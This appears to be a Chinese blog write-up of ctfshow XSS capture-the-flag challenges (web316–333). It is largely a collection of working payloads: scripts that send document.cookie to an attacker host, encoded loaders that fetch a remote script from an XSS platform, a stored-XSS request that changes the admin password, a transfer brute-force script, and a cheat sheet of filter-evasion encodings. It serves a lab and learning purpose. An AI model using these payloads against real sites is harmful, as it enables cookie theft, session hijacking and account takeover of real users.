0%

xss

ctfshow里面的xss刷题记录(有xss弹窗,建议若要点开请先关闭浏览器弹窗授权)

web316

这道题先测试一下

image-20220713120540614

存在xss漏洞,毕竟是第一题,应该没有任何过滤,直接打cookie即可!XSS平台在这个平台里面

记录可用的姿势:

img

<script> var img=document.createElement("img"); img.src="http://ip/"+document.cookie; </script>

直接创建img标签的话,比如这样<img src="http://ip:39543/"+document.cookie />不行,这里识别不到document.cookie,套一层<script></script>也不行。

还有其他外带姿势

window.open

<script>window.open('http://ip/'+document.cookie)</script>

<script>window.location.href='http://ip/'+document.cookie</script>

<script>location.href='http://ip/'+document.cookie</script>

input也可以,但是要加上autofocus

<input onfocus="window.open('http://ipx/'+document.cookie)" autofocus>

通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发

svg标签

<svg onload="window.open('http://ip/'+document.cookie)">

iframe标签

<iframe onload="window.open('http://ip/'+document.cookie)"></iframe>

body标签

<body onload="window.open('http://ip/'+document.cookie)">

正常的vps需要nc,但是nc好像不能持续接收,但是方法有很多,可以重复起nc,也可以写个python然后起一个临时的服务器,接收一下get参数

python3 -m http.server 39543

这道题直接上传标准形式即可!

image-20220324192000984

显示不是管理员没有flag

换一个,用一个url一次编码的

%26lt%3B%2FtExtArEa%26gt%3B%26%23039%3B%26quot%3B%26gt%3B%26lt%3BsCRiPt%20sRC%3Dhttps%3A%2F%2Fxss.pt%2Frxab%26gt%3B%26lt%3B%2FsCrIpT%26gt%3B

image-20220325104330643

得到flag!

还有另一种方法,进行监听日志!

<script>window.open('http://ip/'+document.cookie)</script>

image-20220402122311481

web317

image-20220325105741041

还是这样的界面,只不过已经开始过滤了,问题不大,过滤哪个就不用哪个,换成其他代码一样的步骤

测试了一下过滤了script,使用img标签!

'"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHA6Ly94c3N5ZS5jb20veDNUdyI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))>

image-20220325115249559

成功反弹,但是还是不能成为ADMIN,尝试一下用

<iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。&#60;&#115;&#67;&#82;&#105;&#80;&#116;&#32;&#115;&#82;&#67;&#61;&#34;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#120;&#115;&#115;&#121;&#101;&#46;&#99;&#111;&#109;&#47;&#120;&#51;&#84;&#119;&#34;&#62;&#60;&#47;&#115;&#67;&#114;&#73;&#112;&#84;&#62;>

得到flag

image-20220325120033561

web318

这道题增加了过滤,查询得到这道题过滤了img标签

img标签也被过滤了,可以用body标签,这个标签不容易被ban

<body onload=alert(0)></body>,成功回显。

  • 过滤img,用xss平台的实体十六进制编码

    <iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。&#x3C;&#x73;&#x43;&#x52;&#x69;&#x50;&#x74;&#x20;&#x73;&#x52;&#x43;&#x3D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x78;&#x73;&#x73;&#x79;&#x65;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x71;&#x79;&#x52;&#x43;&#x22;&#x3E;&#x3C;&#x2F;&#x73;&#x43;&#x72;&#x49;&#x70;&#x54;&#x3E;>

web319

这道题同上,没用过滤iframe

<iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。&#60;&#115;&#67;&#82;&#105;&#80;&#116;&#32;&#115;&#82;&#67;&#61;&#34;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#120;&#115;&#115;&#121;&#101;&#46;&#99;&#111;&#109;&#47;&#113;&#121;&#82;&#67;&#34;&#62;&#60;&#47;&#115;&#67;&#114;&#73;&#112;&#84;&#62;>

web320

  • 过滤了空格可以换%09制表符或者/来代替

<iframe/WIDTH=0/HEIGHT=0/srcdoc=。。。。。。。。。。&#60;&#115;&#67;&#82;&#105;&#80;&#116;&#32;&#115;&#82;&#67;&#61;&#34;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#120;&#115;&#115;&#121;&#101;&#46;&#99;&#111;&#109;&#47;&#113;&#121;&#82;&#67;&#34;&#62;&#60;&#47;&#115;&#67;&#114;&#73;&#112;&#84;&#62;>

<body/onload=document.location='http://ip/cookie.php?cookie='+document.cookie;>
<body   onload=document.location='http://ip/'+document.cookie;>

image-20220402122852006

web321-326

image-20220402123046302

过滤的不影响payload,通杀!

web327

储存型xss

image-20220402123835826

还用上一题的方法还是可!

image-20220402124001064

web328

image-20220402124148083

先注册一个用户

image-20220719144948985

image-20220402124657195

盗取到cookie!

image-20220402125657138

替换cookie,成为admin

image-20220402125734783

web329

查资料发现从这题开始,cookie都是短时的,截获的的cookie都会失效!

image-20220719144910338

可以看到截获的cookie在不断变化,同时都是无法正常使用的

image-20220402130147887

最后神奇的出来了cookie!

web330

image-20220402130326741

image-20220719144602659

使用bp抓包修改密码

image-20220402130743241

进入admin,得到flag

image-20220402131335454

web331

image-20220402131620821

这里发现变成了post请求,用window.open肯定不行了

查一下javascript如何发送Http请求

var httpRequest = new XMLHttpRequest();//第一步:创建需要的对象
httpRequest.open('POST', 'url', true); //第二步:打开连接
httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");//设置请求头 注:post方式必须设置请求头(在建立连接后设置请求头)
httpRequest.send('name=teswe&ee=ef');//发送请求 将情头体写在send中
/**
 * 获取数据后的处理程序
 */
httpRequest.onreadystatechange = function () {//请求后的回调接口,可将请求成功后要执行的程序写在其中
    if (httpRequest.readyState == 4 && httpRequest.status == 200) {//验证请求是否发送成功
        var json = httpRequest.responseText;//获取到服务端返回的数据
        console.log(json);
    }
};

用这个,在注册页payload

登录admin即可!

image-20220402132814339

web332

image-20220402132917124

注册用户,然后给admin转账-100000也就是自己多了100000

image-20220402133010578

image-20220402133018491

image-20220402133025907

web333

这道题是不能向其他账户转账的,只能向自己转账,且只能转低于自己现有钱的数目,比如现在有5块,那么最多只能转5块,接下来的就慢慢跑到10000即可,用burp可以跑:

image-20220402133425766

写个脚本也可以

import requests
import re
import time
x=5
url="http://93a2a39e-623a-4cc6-bea3-6e43db483fd7.challenge.ctf.show/api/amount.php"
url2="http://93a2a39e-623a-4cc6-bea3-6e43db483fd7.challenge.ctf.show/api/getFlag.php"
headers={'Cookie':'PHPSESSID=g4fohb8r0onc7p66qf4oasoh0l'}  #自己登录后的sessionid
while True:
   print(x)
   t=x-1
   data={
   'u':'000', #注册的用户名
   'a':str(t)
   }
   r=requests.post(url,headers=headers,data=data)
   print(r.text)
   if(x>10000):
      r2=requests.get(url2,headers=headers)
      print(r2.text)
      break
   x+=t

image-20220402134524351

总结

无任何过滤情况下的XSS

当没有过滤发生时,可以的XSSpayload就太多了,包括但不限于:

<script>:
<script>alert(1);</script>

<body>:
<body onload=alert(1);>

<img>:
<img src='' onerror=alert(1);>

<svg>:
<svg onload=alert(1);>

<iframe>:
<iframe onload=alert(1);></iframe>

<video>:
<video><source onerror=alert(1);>

<audio>:
<audio src='' onerror=alert(1);>

过滤空格的情况

当发现题目过滤了空格的时候,就可以用/去绕过空格
比如:

<body/onload=alert(1);>

过滤了关键字

大小写绕过

当过滤了像img这样的关键字时,可以尝试去用大小写去绕过:

<ImG sRc='' OnErroR=alert(1);>

双写绕过

或者可以用双写绕过:(当waf是只匹配一次,且替换为空时可以双写)

<imimgg srsrcc='' onerror=alert(1);>

拼接绕过

也可以用eval或者top来进行拼接

<img src='' onerror="a='aler';b='t';c='(1);';eval(a+b+c)">

<img src='' onerror=top["ale"+"rt"](1);>

编码绕过:

可以用unicode编码绕过

<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">

<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">

url编码

<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

Ascii码绕过

<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

hex绕过

<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

八进制绕过

<img src=x onerror=alert('\170\163\163')>

base64绕过

<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

对于xss中用服务器查看日志也做一下记录

服务器中用到的apache,刚开始开启apache

service apache2 start

cd /var/log/apache2

日志一般都在access.log里面

对于过滤不严或者没有过滤的直接用

image-20220719144511252

即可进行监听并查看日志得到关键信息

参考:

通过CTFSHOW来粗略学习XSS - o3Ev的小家

[Y0ng的博客 (yongsheng.site)](http://www.yongsheng.site/2021/04/20/ctfshow web入门(xss)/)

CTFSHOW]XSS入门(佛系记录)_Y4tacker的博客-CSDN博客_ctfshow web入门xss

制作不易,如若感觉写的不错,欢迎打赏